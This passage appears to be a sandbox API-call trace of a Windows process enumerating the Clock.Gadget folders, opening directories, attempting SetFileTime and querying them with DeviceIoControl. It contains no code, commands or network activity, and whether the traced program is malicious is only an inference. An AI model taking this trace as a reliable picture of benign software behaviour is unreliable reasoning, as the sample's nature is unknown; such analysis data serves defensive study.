lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22aaa7b4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0089.869] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0089.869] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.869] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.869] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.870] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.870] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.870] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c25a8 [0089.870] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1318a78 [0089.870] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.870] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22aaa7b4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0089.870] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2814, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 1 [0089.871] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.871] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.871] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.871] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.871] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.872] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c25c8 [0089.872] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1318b80 [0089.872] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8f80) returned 0x12f2380 [0089.872] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2814, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 0 [0089.872] GetLastError () returned 0x12 [0089.872] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0089.872] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0089.873] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22aaa7b4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.873] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x104c, dwReserved0=0x0, dwReserved1=0x0, cFileName="clock.html", cAlternateFileName="")) returned 1 [0089.873] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22aaa7b4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0089.873] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1318c88 [0089.873] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\en-us\\css"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22aaa7b4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.873] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\en-us\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0089.874] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0089.874] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0089.874] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0089.874] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0089.874] NtClose (Handle=0x164) returned 0x0 [0089.874] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1318c88) returned 1 [0089.874] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.875] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0089.875] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1318c88 [0089.875] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.875] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1318d90 [0089.875] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0089.876] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22aaa7b4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.876] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="clock.css", cAlternateFileName="")) returned 1 [0089.876] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.876] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.876] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.877] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.877] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.877] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1318e98 [0089.877] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0089.877] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c25e8 [0089.877] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1318fa0 [0089.878] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.878] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x55e, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 1 [0089.878] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.878] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.878] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.879] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.879] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.879] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c2608 [0089.879] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13190a8 [0089.880] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.880] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x55e, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 0 [0089.880] GetLastError () returned 0x12 [0089.880] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f40 [0089.880] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0089.880] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22aaa7b4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.880] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="clock.css", cAlternateFileName="")) returned 1 [0089.880] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x55e, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 1 [0089.880] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x55e, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 0 [0089.880] GetLastError () returned 0x12 [0089.880] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1318d90) returned 1 [0089.880] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0089.881] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1318e98) returned 1 [0089.881] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1318c88) returned 1 [0089.881] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0089.881] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22aaa7b4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0089.881] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1318c88 [0089.881] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\en-us\\js"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22aaa7b4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.881] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\en-us\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0089.882] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0089.882] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0089.882] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0089.882] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0089.882] NtClose (Handle=0x15c) returned 0x0 [0089.883] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1318c88) returned 1 [0089.883] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.883] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0089.883] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1318c88 [0089.884] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.884] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1318e98 [0089.884] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f40 [0089.884] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22aaa7b4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.884] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x467a, dwReserved0=0x0, dwReserved1=0x0, cFileName="clock.js", cAlternateFileName="")) returned 1 [0089.884] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.884] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.884] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.885] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.885] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.885] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1318d90 [0089.886] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0089.886] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c2628 [0089.886] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13191b0 [0089.886] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.886] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5c4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.js", cAlternateFileName="")) returned 1 [0089.886] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.887] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.887] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.887] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.887] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.887] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c2648 [0089.887] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13192b8 [0089.888] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.888] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x258c, dwReserved0=0x0, dwReserved1=0x0, cFileName="timeZones.js", cAlternateFileName="")) returned 1 [0089.888] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.888] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.888] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.889] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.889] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0089.889] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c2668 [0089.889] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13193c0 [0089.889] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0089.889] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x258c, dwReserved0=0x0, dwReserved1=0x0, cFileName="timeZones.js", cAlternateFileName="")) returned 0 [0089.890] GetLastError () returned 0x12 [0089.890] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0089.890] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0089.890] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22aaa7b4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.890] FindNextFileW (in: hFindFile=0x2e9080, 